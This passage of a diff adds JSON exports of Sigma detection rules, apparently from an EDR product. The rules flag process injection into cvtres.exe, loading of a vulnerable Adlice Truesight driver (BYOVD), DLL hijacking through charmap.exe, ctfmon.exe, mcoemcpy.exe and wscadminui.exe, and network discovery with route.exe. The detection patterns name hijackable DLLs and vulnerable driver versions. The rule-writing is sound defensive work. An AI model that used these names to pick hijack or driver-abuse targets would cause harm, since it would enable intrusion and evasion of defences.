+  "rule_description": "Detects the suspicious execution of the legitimate cvtres.exe Windows binary, spawned without arguments. This can mean that the binary is being used as sacrificial process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the cvtres.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2025-11-12",
+  "rule_modified_date": "2025-12-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c4147702-b07a-45c6-ab0c-80a8f3001000",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085370Z",
+  "creation_date": "2026-03-23T11:45:34.085372Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085377Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ph4nt0mbyt3/Darkside",
+    "https://www.adlice.com/fr/roguekiller/",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_byovd_truesight_darkside_load.yml",
+  "content": "title: Adlice Vulnerable Driver Loaded\nid: c4147702-b07a-45c6-ab0c-80a8f3001000\ndescription: |\n    Detects the loading of a known vulnerable Adlice Software driver in an unusual context.\n    This likely indicates the driver has been deployed by a malicious actor for exploitation.\n    This technique is usually called BYOVD (Bring Your Own Vulnerable Driver).\n    It is recommended to check if the process that loaded the driver is a legitimate one from Adlice Software.\nreferences:\n    - https://github.com/ph4nt0mbyt3/Darkside\n    - https://www.adlice.com/fr/roguekiller/\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2023/11/30\nmodified: 2025/09/08\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1068\n    - classification.Windows.Source.DriverLoad\n    - classification.Windows.Behavior.VulnerableDriver\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: driver_load\ndetection:\n    selection_exact:\n        DriverSha256: 'bfc2ef3b404294fe2fa05a8b71c7f786b58519175b7202a69fe30f45e607ff1c'\n\n    selection_by_desc:\n        Company: 'Adlice Software'\n        InternalName: 'Truesight'\n        OriginalFileName: 'Truesight'\n        ProductVersion|re:\n            - '^3\\.[0-3](?:\\.\\d+)?$' # > 3.0, <= 3.3.?\n            - '^2\\.0\\.2$' # == 2.0.2\n        Signed: 'true'\n        SignatureStatus: 'Valid'\n\n    filter_legitimate_uses:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\drivers\\'\n            - '?:\\Windows\\System32\\DriverStore\\FileRepository\\'\n            - '?:\\Windows\\System32\\spool\\drivers\\'\n            - '?:\\Windows\\WinSxS\\'\n        ImageLoaded|endswith: '\\truesight.sys'\n\n    condition: 1 of selection_* and not 1 of filter_*\nfalsepositives:\n    - Some unidentified legitimate software might deploy and rely on the vulnerable driver as well.\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c4147702-b07a-45c6-ab0c-80a8f3001000",
+  "rule_name": "Adlice Vulnerable Driver Loaded",
+  "rule_description": "Detects the loading of a known vulnerable Adlice Software driver in an unusual context.\nThis likely indicates the driver has been deployed by a malicious actor for exploitation.\nThis technique is usually called BYOVD (Bring Your Own Vulnerable Driver).\nIt is recommended to check if the process that loaded the driver is a legitimate one from Adlice Software.\n",
+  "rule_creation_date": "2023-11-30",
+  "rule_modified_date": "2025-09-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c456e152-cc03-4950-9835-a23e13694f56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590716Z",
+  "creation_date": "2026-03-23T11:45:34.590719Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590727Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_charmap.yml",
+  "content": "title: DLL Hijacking via charmap.exe\nid: c456e152-cc03-4950-9835-a23e13694f56\ndescription: |\n    Detects potential Windows DLL Hijacking via charmap.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'charmap.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dataexchange.dll'\n            - '\\GetUName.dll'\n            - '\\MSFTEDIT.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c456e152-cc03-4950-9835-a23e13694f56",
+  "rule_name": "DLL Hijacking via charmap.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via charmap.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c465c818-727b-41e6-8293-c8a521169d0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077795Z",
+  "creation_date": "2026-03-23T11:45:34.077797Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077802Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ctfmon.yml",
+  "content": "title: DLL Hijacking via ctfmon.exe\nid: c465c818-727b-41e6-8293-c8a521169d0d\ndescription: |\n    Detects potential Windows DLL Hijacking via ctfmon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ctfmon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\MsCtfMonitor.DLL'\n            - '\\MSUTB.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c465c818-727b-41e6-8293-c8a521169d0d",
+  "rule_name": "DLL Hijacking via ctfmon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ctfmon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c4b24153-3c9b-4435-97a6-d340a146c01a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296824Z",
+  "creation_date": "2026-03-23T11:45:35.296832Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296842Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/TheDFIRReport/status/1441052231982329857",
+    "https://attack.mitre.org/techniques/T1016/"
+  ],
+  "name": "t1016_discovery_route.yml",
+  "content": "title: Network Discovered via route.exe\nid: c4b24153-3c9b-4435-97a6-d340a146c01a\ndescription: |\n    Detects the execution of the route command with the print option.\n    Route.exe is a legitimate Microsoft binary that can be used by attackers during the discovery phase to enumerate the network's routing tables.\n    It is recommended to analyze the process responsible for the execution of route.exe to look for malicious content or actions.\nreferences:\n    - https://twitter.com/TheDFIRReport/status/1441052231982329857\n    - https://attack.mitre.org/techniques/T1016/\ndate: 2023/01/10\nmodified: 2026/02/25\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1016\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'route.exe'\n        CommandLine|contains: ' print'\n        CurrentDirectory:\n            - '?:\\windows\\\\*'\n            - '?:\\ProgramData\\\\*'\n            - '?:\\PerfLogs\\\\*'\n            - '?:\\temp\\\\*'\n            - '?:\\users\\\\*'\n            - '?:\\\\?Recycle.Bin\\\\*'\n            - '?:\\'\n\n    exclusion_programfiles:\n        - ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n\n    exclusion_sdiagnhost:\n        ParentImage:\n            - '?:\\Windows\\System32\\sdiagnhost.exe'\n            - '?:\\Windows\\SysWOW64\\sdiagnhost.exe'\n\n    exclusion_azure:\n        ParentImage:\n            - '?:\\WindowsAzure\\Packages\\Telemetry\\WindowsAzureTelemetryService.exe'\n            - '?:\\WindowsAzure\\Packages\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\Packages_*\\Telemetry\\WindowsAzureTelemetryService.exe'\n            - '?:\\WindowsAzure\\Packages_*\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\Packages_*\\WaAppAgent.exe'\n            - '?:\\WindowsAzure\\GuestAgent_*\\WaAppAgent.exe'\n            - '?:\\WindowsAzure\\GuestAgent_*\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\GuestAgent_*\\WindowsAzureGuestAgent.exe'\n\n    exclusion_carestream:\n        ParentCommandLine: 'powershell.exe -noprofile -executionpolicy bypass -file ?:\\Program Files (x86)\\Carestream\\Smart Link Agent\\Gateway\\Scripts\\autoreport\\autoreport.ps1 autoreport_report.html'\n\n    exclusion_netgateway:\n        GrandparentImage|endswith: '\\NetGW.Main.Replica.exe'\n\n    exclusion_avmvpn:\n        GrandparentImage|endswith: '\\nwtsrv.exe'\n        ParentCommandLine|endswith: '.tmp'\n\n    exclusion_centrastage_ram:\n        ParentImage|endswith: '\\AEMAgent.exe'\n        GrandparentImage|endswith: '\\CagService.exe'\n\n    exclusion_fsecure:\n        ParentImage|endswith: 'F-Secure\\Client Security\\diagnostics\\fsdiag.exe'\n        GrandparentImage|endswith: 'F-Secure\\Client Security\\ui\\fssettings.exe'\n\n    # netstat -nr calls cmd /c route.exe print under the hood...\n    exclusion_netstat:\n        GrandparentImage:\n            - '?:\\windows\\system32\\netstat.exe'\n            - '?:\\windows\\syswow64\\netstat.exe'\n\n    exclusion_gathernetwork:\n        ParentCommandLine: '?:\\Windows\\System32\\cmd.exe /c route print >> config\\\\*.txt'\n        GrandparentCommandLine: '?:\\windows\\system32\\cscript.exe ?:\\windows\\system32\\gatherNetworkInfo.vbs'\n\n    exclusion_synctrayzor:\n        CommandLine: 'route print 0.0.0.0'\n        # \\AppData\\Roaming\\SyncTrayzor\\syncthing.exe\n        ParentImage|endswith: '\\syncthing.exe'\n        GrandparentImage|endswith: '\\syncthing.exe'\n\n\n    exclusion_puppet:\n        Ancestors|contains: '?:\\Program Files\\Puppet Labs\\\\*\\bin\\ruby.exe'\n\n    exclusion_hp:\n        ParentImage|endswith: '\\TouchpointAnalyticsClientService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature|contains: 'HP Inc'\n\n    exclusion_interactive:\n        ProcessGrandparentImage: '?:\\Windows\\explorer.exe'\n        ProcessParentImage:\n            - '?:\\Windows\\system32\\cmd.exe'\n            - '?:\\Windows\\syswow64\\cmd.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'\n\n    exclusion_medsys:\n        ParentImage: '?:\\pilote\\NoyauEVM\\NoyauEVM.exe'\n\n    exclusion_xtool_studio:\n        GrandparentImage: '?:\\Users\\\\*\\AppData\\Local\\Programs\\xTool Studio\\xTool Studio.exe'\n\n    exclusion_wakeonlan:\n        ParentImage|endswith: '\\WakeOnLanBatch.exe'\n        ProcessParentCompany: 'Dipisoft (www.dipisoft.com)'\n\n    exclusion_pulse_secure:\n        ParentImage: '?:\\Users\\\\*\\AppData\\Roaming\\Pulse Secure\\Host Checker\\dsHostChecker.exe'\n\n    exclusion_f5:\n        GrandparentImage: '?:\\Windows\\Downloaded Program Files\\f5unistall.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c4b24153-3c9b-4435-97a6-d340a146c01a",
+  "rule_name": "Network Discovered via route.exe",
+  "rule_description": "Detects the execution of the route command with the print option.\nRoute.exe is a legitimate Microsoft binary that can be used by attackers during the discovery phase to enumerate the network's routing tables.\nIt is recommended to analyze the process responsible for the execution of route.exe to look for malicious content or actions.\n",
+  "rule_creation_date": "2023-01-10",
+  "rule_modified_date": "2026-02-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c4bbcefd-fa8e-42ab-b515-284a8782a738",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082426Z",
+  "creation_date": "2026-03-23T11:45:34.082428Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082432Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redalert.nshc.net/2019/07/25/growth-of-sectorf01-groups-cyber-espionage-activities/",
+    "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/",
+    "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mcoemcpy.yml",
+  "content": "title: DLL Hijacking via mcoemcpy.exe\nid: c4bbcefd-fa8e-42ab-b515-284a8782a738\ndescription: |\n    Detects potential Windows DLL Hijacking via mcoemcpy.exe related to McAfee Oem Module.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://redalert.nshc.net/2019/07/25/growth-of-sectorf01-groups-cyber-espionage-activities/\n    - https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/\n    - https://unit42.paloaltonetworks.com/dll-hijacking-techniques/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/03/20\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mcoemcpy.exe'\n        ImageLoaded|endswith: '\\McUtil.dll'\n\n    filter_legitimate_image:\n        Image|startswith: '?:\\Program Files\\McAfee\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith: '?:\\Program Files\\McAfee\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'McAfee, Inc.'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c4bbcefd-fa8e-42ab-b515-284a8782a738",
+  "rule_name": "DLL Hijacking via mcoemcpy.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mcoemcpy.exe related to McAfee Oem Module.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-03-20",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c4f7fe2f-e253-4959-b087-ef115db90e04",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.099129Z",
+  "creation_date": "2026-03-23T11:45:34.099131Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.099135Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wscadminui.yml",
+  "content": "title: DLL Hijacking via wscadminui.exe\nid: c4f7fe2f-e253-4959-b087-ef115db90e04\ndescription: |\n    Detects potential Windows DLL Hijacking via wscadminui.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wscadminui.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.DLL'\n            - '\\wscapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c4f7fe2f-e253-4959-b087-ef115db90e04",
+  "rule_name": "DLL Hijacking via wscadminui.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wscadminui.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c554e3b6-a069-4a89-89ba-f0648c009a3f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
